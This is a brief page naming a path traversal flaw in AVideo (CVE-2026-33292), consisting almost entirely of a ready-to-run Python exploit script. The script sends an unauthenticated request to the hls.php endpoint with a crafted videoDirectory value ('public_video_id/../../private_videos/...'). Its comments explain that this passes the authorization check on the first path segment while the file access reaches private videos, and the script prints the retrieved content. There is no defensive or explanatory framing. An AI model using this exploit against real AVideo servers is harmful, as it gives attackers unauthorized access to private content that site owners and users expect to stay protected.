CVE-2026-33292 AVideo路径遍历漏洞

import requests # Target URL of the vulnerable endpoint target_url = "http://example.com/view/hls.php" # The payload exploits the split-oracle condition. # The authorization logic truncates at the first '/', checking 'public_video_id'. # The file access logic processes the full path, traversing to 'private_secret_video'. payload_params = { "videoDirectory": "public_video_id/../../private_videos/private_secret_video", "file": "segment.m3u8" } try: # Send unauthenticated request response = requests.get(target_url, params=payload_params, timeout=10) if response.status_code == 200: print("[+] Exploit Successful!") print("[+] Retrieved content snippet:") print(response.text[:500]) else: print(f"[-] Exploit failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")